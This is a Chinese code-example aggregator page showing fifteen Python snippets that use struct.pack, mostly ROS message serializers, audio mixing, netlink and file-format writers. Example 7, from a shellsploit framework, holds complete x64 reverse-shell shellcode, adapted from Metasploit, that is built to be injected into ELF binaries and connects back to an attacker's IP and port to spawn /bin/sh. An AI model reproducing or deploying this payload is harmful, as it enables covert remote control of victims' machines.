当前位置: 首页>>代码示例>>Python>>正文


Python struct.pack函数代码示例

本文整理汇总了Python中struct.pack函数的典型用法代码示例。如果您正苦于以下问题:Python pack函数的具体用法?Python pack怎么用?Python pack使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了pack函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: serialize

 def serialize(self, buff):
     """
 serialize message into buffer
 :param buff: buffer, ``StringIO``
 """
     try:
         _x = self.agent_one
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         _x = self.agent_two
         length = len(_x)
         if python3 or type(_x) == unicode:
             _x = _x.encode("utf-8")
             length = len(_x)
         buff.write(struct.pack("<I%ss" % length, length, _x))
         _x = self
         buff.write(
             _struct_6d.pack(_x.rotationx, _x.rotationy, _x.angle, _x.referencex, _x.referencey, _x.evaluation)
         )
     except struct.error as se:
         self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(_x))))
     except TypeError as te:
         self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(_x))))
开发者ID:sloumotion,项目名称:cs_merge,代码行数:26,代码来源:_transform.py

示例2: proc_gentlink

  def proc_gentlink(self):
    #get GELINK Header info    
    cmd='TASKSTATS\0'
    mlen=len(cmd) + 4

    msg_ts=array.array(str('B'))
    msg_ts.fromstring(struct.pack("BBxx", CTRL_CMD_GETFAMILY, 0))
    msg_ts.fromstring(struct.pack("HH", mlen, CTRL_ATTR_FAMILY_NAME))
    msg_ts.fromstring(cmd)
    tmp=((4 - (len(msg_ts) % 4)) & 0x3)
    msg_ts.fromstring('\0' * ((4 - (len(cmd) % 4)) & 0x3))

    nlmhdr_msg=array.array(str('B'),struct.pack(str('=IHHII'), len(msg_ts) + 16, NETLINK_GENERIC, NLM_F_REQUEST, 0, 0))
    nlmhdr_msg.extend(msg_ts)

    self.socket.send(nlmhdr_msg)

    data = self.socket.recv(65536)#(16384)
    data=self.unpack_nlhdr(data)
    data=self.unpack_genlhdr(data)

    while len(data) > 0:
          data=self.unpack_attr_hdr(data)
    #
    if self.flags & 0x2 == 0:
          if debug>0: print "End of receiving message!"
          return
开发者ID:prod-feng,项目名称:Netlink-taskstats,代码行数:27,代码来源:proc_taststats.py

示例3: ConvertXmlToTHCsv

def ConvertXmlToTHCsv(xmlfile):
    tree = ET.parse(xmlfile)
    THCsv = tree.getroot()

    if THCsv.tag != 'THCsv':
        return

    blockcount = len(THCsv)
    rows = []

    for row in THCsv:
        textlist = []

        for text in row:
            textlist.append(text.find('sc').text)

        rows.append(textlist)

    csv = open(os.path.splitext(xmlfile)[0], 'wb')
    csv.write(struct.pack('<I', len(rows)))
    for row in rows:
        csv.write(struct.pack('<I', len(row)))
        for text in row:
            text = text.encode('936')
            csv.write(struct.pack('<I', len(text)))
            csv.write(text)
开发者ID:Emiyasviel,项目名称:Arianrhod,代码行数:26,代码来源:xml2thcsv.py

示例4: serialize

 def serialize(self, buff):
   """
   serialize message into buffer
   :param buff: buffer, ``StringIO``
   """
   try:
     _x = self
     buff.write(_struct_3I.pack(_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs))
     _x = self.header.frame_id
     length = len(_x)
     if python3 or type(_x) == unicode:
       _x = _x.encode('utf-8')
       length = len(_x)
     buff.write(struct.pack('<I%ss'%length, length, _x))
     _x = self
     buff.write(_struct_4i.pack(_x.count, _x.nch, _x.length, _x.data_bytes))
     length = len(self.src)
     buff.write(_struct_I.pack(length))
     for val1 in self.src:
       length = len(val1.wavedata)
       buff.write(_struct_I.pack(length))
       pattern = '<%sf'%length
       buff.write(struct.pack(pattern, *val1.wavedata))
   except struct.error as se: self._check_types(se)
   except TypeError as te: self._check_types(te)
开发者ID:oliveratutexas,项目名称:SoundLocalization,代码行数:25,代码来源:_HarkWave.py

示例5: serialize

 def serialize(self):
     r = ""
     r += struct.pack("<Q", self.nServices)
     r += self.pchReserved
     r += socket.inet_aton(self.ip)
     r += struct.pack(">H", self.port)
     return r
开发者ID:coreyphillips,项目名称:testcoin,代码行数:7,代码来源:mininode.py

示例6: mix_files

def mix_files(a, b, c, chann = 2, phase = -1.):
	f1 = wave.open(a,'r')
	f2 = wave.open(b,'r')
	f3 = wave.open(c,'w')
	f3.setnchannels(chann)
	f3.setsampwidth(2)
	f3.setframerate(44100)
	f3.setcomptype('NONE','Not Compressed')
	frames = min(f1.getnframes(), f2.getnframes())

	print "Mixing files, total length %.2f s..." % (frames / 44100.)
	d1 = f1.readframes(frames)
	d2 = f2.readframes(frames)
	for n in range(frames):
		if not n%(5*44100): print n // 44100, 's'
		if chann < 2:
			d3 = struct.pack('h',
				.5 * (struct.unpack('h', d1[2*n:2*n+2])[0] +
				struct.unpack('h', d2[2*n:2*n+2])[0]))
		else:
			d3 = ( struct.pack('h',
				phase * .3 * struct.unpack('h', d1[2*n:2*n+2])[0] +
				.7 * struct.unpack('h', d2[2*n:2*n+2])[0]) +
				struct.pack('h',
				.7 * struct.unpack('h', d1[2*n:2*n+2])[0] +
				phase * .3 * struct.unpack('h', d2[2*n:2*n+2])[0]) )
		f3.writeframesraw(d3)
	f3.close()
开发者ID:ijoosong,项目名称:classical-ml,代码行数:28,代码来源:pysynth.py

示例7: reverse_shell_tcp

    def reverse_shell_tcp(self, flItms, CavesPicked={}):
        """
        Modified from metasploit payload/linux/x64/shell_reverse_tcp
        to correctly fork the shellcode payload and continue normal execution.
        """

        if self.PORT is None:
            print ("Must provide port")
            return False

        #64bit shellcode
        self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
        self.shellcode1 += "\x48\xBD"
        self.shellcode1 += struct.pack("<Q", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        self.shellcode1 += ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
                            "\x48\x97\x48\xb9\x02\x00")
        self.shellcode1 += struct.pack("!H", self.PORT)
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += ("\x51\x48\x89"
                            "\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
                            "\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
                            "\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
                            "\x0f\x05")

        self.shellcode = self.shellcode1
        return (self.shellcode1)
开发者ID:CapTheFlag,项目名称:shellsploit-framework,代码行数:27,代码来源:LinuxIntelELF64.py

示例8: update_sha

def update_sha(sha, f):
    if f:
        sha.update(f.read())
        f.seek(0)
        sha.update(pack('I', filesize(f)))
    else:
        sha.update(pack('I', 0))
开发者ID:lwerdna,项目名称:experiments,代码行数:7,代码来源:mkbootimg.py

示例9: spi_transfer

def spi_transfer(data):
    if len(data) > 1024:
        data = data[:1024]

    temp = struct.pack(">BH", OPCODE_SPI_TXFR, len(data)) + data
    crc = crc16_buff(temp)
    tx_data = struct.pack(">H", sync) + temp + struct.pack(">H", crc)
    # print "Data in TX Buffer:" + ':'.join(x.encode('hex') for x in tx_data)
    if ser.inWaiting() > 0:
        rx_data = ser.read(ser.inWaiting())
        print "Data in RX Buffer:" + ":".join(x.encode("hex") for x in rx_data)

    ser.write(tx_data)
    time.sleep(1)
    print str(ser.inWaiting()) + " waiting."
    rx_data = ser.read(len(tx_data))
    print "SPI RX Data:" + ":".join(x.encode("hex") for x in rx_data)
    print rx_data

    calc_crc = crc16_buff(rx_data[2:-2])
    if struct.pack(">H", calc_crc) == rx_data[-2:]:
        print "Checksum Match"
    else:
        print "Checksum  Fail"
    if ord(rx_data[2]) == OPCODE_SPI_TXFR:
        return rx_data[5:-2]
    else:
        print "No Opcode Found!"
        return rx_data
开发者ID:darksidelemm,项目名称:pySX127x,代码行数:29,代码来源:test_bridge.py

示例10: sendCMDreceiveATT

 def sendCMDreceiveATT(self, data_length, code, data):
     checksum = 0
     total_data = ['$', 'M', '<', data_length, code] + data
     for i in struct.pack('<2B%dh' % len(data), *total_data[3:len(total_data)]):
         checksum = checksum ^ ord(i)
     total_data.append(checksum)
     try:
         start = time.time()
         b = None
         b = self.ser.write(struct.pack('<3c2B%dhB' % len(data), *total_data))
         while True:
             header = self.ser.read()
             if header == '$':
                 header = header+self.ser.read(2)
                 break
         datalength = struct.unpack('<b', self.ser.read())[0]
         code = struct.unpack('<b', self.ser.read())
         data = self.ser.read(datalength)
         temp = struct.unpack('<'+'h'*(datalength/2),data)
         self.ser.flushInput()
         self.ser.flushOutput()
         elapsed = time.time() - start
         self.attitude['angx']=float(temp[0]/10.0)
         self.attitude['angy']=float(temp[1]/10.0)
         self.attitude['heading']=float(temp[2])
         self.attitude['elapsed']=round(elapsed,3)
         self.attitude['timestamp']="%0.2f" % (time.time(),) 
         return self.attitude
     except Exception, error:
         #print "\n\nError in sendCMDreceiveATT."
         #print "("+str(error)+")\n\n"
         pass
开发者ID:half-potato,项目名称:multi_wii,代码行数:32,代码来源:pyMultiwii.py

示例11: writev5_1conflicteddata

def writev5_1conflicteddata(conflictedentries, reucdata, dirdata):
    global writtenbytes
    for d in sorted(conflictedentries):
        for f in d:
            if d["pathname"] == "":
                filename = d["filename"]
            else:
                filename = d["pathname"] + "/" + d["filename"]

            dirdata[filename]["cr"] = fw.tell()
            try:
                dirdata[filename]["ncr"] += 1
            except KeyError:
                dirdata[filename]["ncr"] = 1

            fwrite(d["pathname"] + d["filename"])
            fwrite("\0")
            stages = set()
            fwrite(struct.pack("!b", 0))
            for i in xrange(0, 2):
                fwrite(struct.pack("!i", d["mode"]))
                if d["mode"] != 0:
                    stages.add(i)

            for i in sorted(stages):
                print i
                fwrite(binascii.unhexlify(d["sha1"]))

            writecrc32()

        for f in reucdata[d]:
            print f

    return dirdata
开发者ID:tgummerer,项目名称:git,代码行数:34,代码来源:git-convert-index.py

示例12: writev5_0directories

def writev5_0directories(paths, treeextensiondata):
    offsets = dict()
    subtreenr = dict()
    # Calculate subtree numbers
    for p in sorted(paths, reverse=True):
        splited = p.split("/")
        if p not in subtreenr:
            subtreenr[p] = 0
        if len(splited) > 1:
            i = 0
            path = ""
            while i < len(splited) - 1:
                path += "/" + splited[i]
                i += 1
            if path[1:] not in subtreenr:
                subtreenr[path[1:]] = 1
            else:
                subtreenr[path[1:]] += 1

    for p in paths:
        offsets[p] = writtenbytes
        fwrite(struct.pack("!Q", 0))
        fwrite(p.split("/")[-1] + "\0")
        p += "/"
        if p in treeextensiondata:
            fwrite(struct.pack("!ll", int(treeextensiondata[p]["entry_count"]), int(treeextensiondata[p]["subtrees"])))
            if (treeextensiondata[p]["entry_count"] != "-1"):
                fwrite(binascii.unhexlify(treeextensiondata[p]["sha1"]))

        else:  # If there is no cache-tree data we assume the entry is invalid
            fwrite(struct.pack("!ii", -1, subtreenr[p.strip("/")]))
    return offsets
开发者ID:tgummerer,项目名称:git,代码行数:32,代码来源:git-convert-index.py

示例13: serialize_numpy

 def serialize_numpy(self, buff, numpy):
   """
   serialize message with numpy array types into buffer
   :param buff: buffer, ``StringIO``
   :param numpy: numpy python module
   """
   try:
     _x = self
     buff.write(_struct_3I.pack(_x.header.seq, _x.header.stamp.secs, _x.header.stamp.nsecs))
     _x = self.header.frame_id
     length = len(_x)
     if python3 or type(_x) == unicode:
       _x = _x.encode('utf-8')
       length = len(_x)
     buff.write(struct.pack('<I%ss'%length, length, _x))
     _x = self
     buff.write(_struct_2I.pack(_x.status.goal_id.stamp.secs, _x.status.goal_id.stamp.nsecs))
     _x = self.status.goal_id.id
     length = len(_x)
     if python3 or type(_x) == unicode:
       _x = _x.encode('utf-8')
       length = len(_x)
     buff.write(struct.pack('<I%ss'%length, length, _x))
     buff.write(_struct_B.pack(self.status.status))
     _x = self.status.text
     length = len(_x)
     if python3 or type(_x) == unicode:
       _x = _x.encode('utf-8')
       length = len(_x)
     buff.write(struct.pack('<I%ss'%length, length, _x))
     _x = self
     buff.write(_struct_3f.pack(_x.feedback.forward_dist_x, _x.feedback.forward_dist_y, _x.feedback.rotation_dist))
   except struct.error as se: self._check_types(se)
   except TypeError as te: self._check_types(te)
开发者ID:Audeliano,项目名称:robotino_catkin_expertinos,代码行数:34,代码来源:_LocalMoveActionFeedback.py

示例14: save

    def save(self, path, items):
        # TODO: purge old cache
        with atomic_file(path) as f:
            c = 0
            f.write(struct.pack("I", c))
            # check is marshalable and compatible with broadcast
            can_marshal = marshalable(items)
            for v in items:
                if can_marshal:
                    try:
                        r = 0, marshal.dumps(v)
                    except Exception:
                        r = 1, cPickle.dumps(v, -1)
                        can_marshal = False
                else:
                    r = 1, cPickle.dumps(v, -1)
                f.write(msgpack.packb(r))
                c += 1
                yield v

            bytes = f.tell()
            if bytes > 10 << 20:
                logger.warning("cached result is %dMB (larger than 10MB)", bytes >> 20)
            # count
            f.seek(0)
            f.write(struct.pack("I", c))
开发者ID:rohithreddy,项目名称:dpark,代码行数:26,代码来源:cache.py

示例15: _write_key_sect

	def _write_key_sect(self, outfile):
		# Writes the key section header, key block index, and all the key blocks to
		# outfile.
		
		# outfile: a file-like object, opened in binary mode.
		
		keyblocks_total_size = sum(len(b.get_block()) for b in self._key_blocks)
		if self._version == "2.0":
			preamble = struct.pack(b">QQQQQ",
			    len(self._key_blocks),
			    self._num_entries,
			    self._keyb_index_decomp_size,
			    self._keyb_index_comp_size,
			    keyblocks_total_size)
			preamble_checksum = struct.pack(b">L", zlib.adler32(preamble))
			if(self._encrypt):
				preamble = _salsa_encrypt(preamble, self._encrypt_key)
			outfile.write(preamble)
			outfile.write(preamble_checksum)
		else:
			preamble = struct.pack(b">LLLL",
			    len(self._key_blocks),
			    self._num_entries,
			    self._keyb_index_decomp_size,
			    keyblocks_total_size)
			if(self._encrypt):
				preamble = _salsa_encrypt(preamble, self._encrypt_key)
			outfile.write(preamble)
		
		outfile.write(self._keyb_index)
		for b in self._key_blocks:
			outfile.write(b.get_block())
开发者ID:howmind,项目名称:writemdict,代码行数:32,代码来源:writemdict.py


注:本文中的struct.pack函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。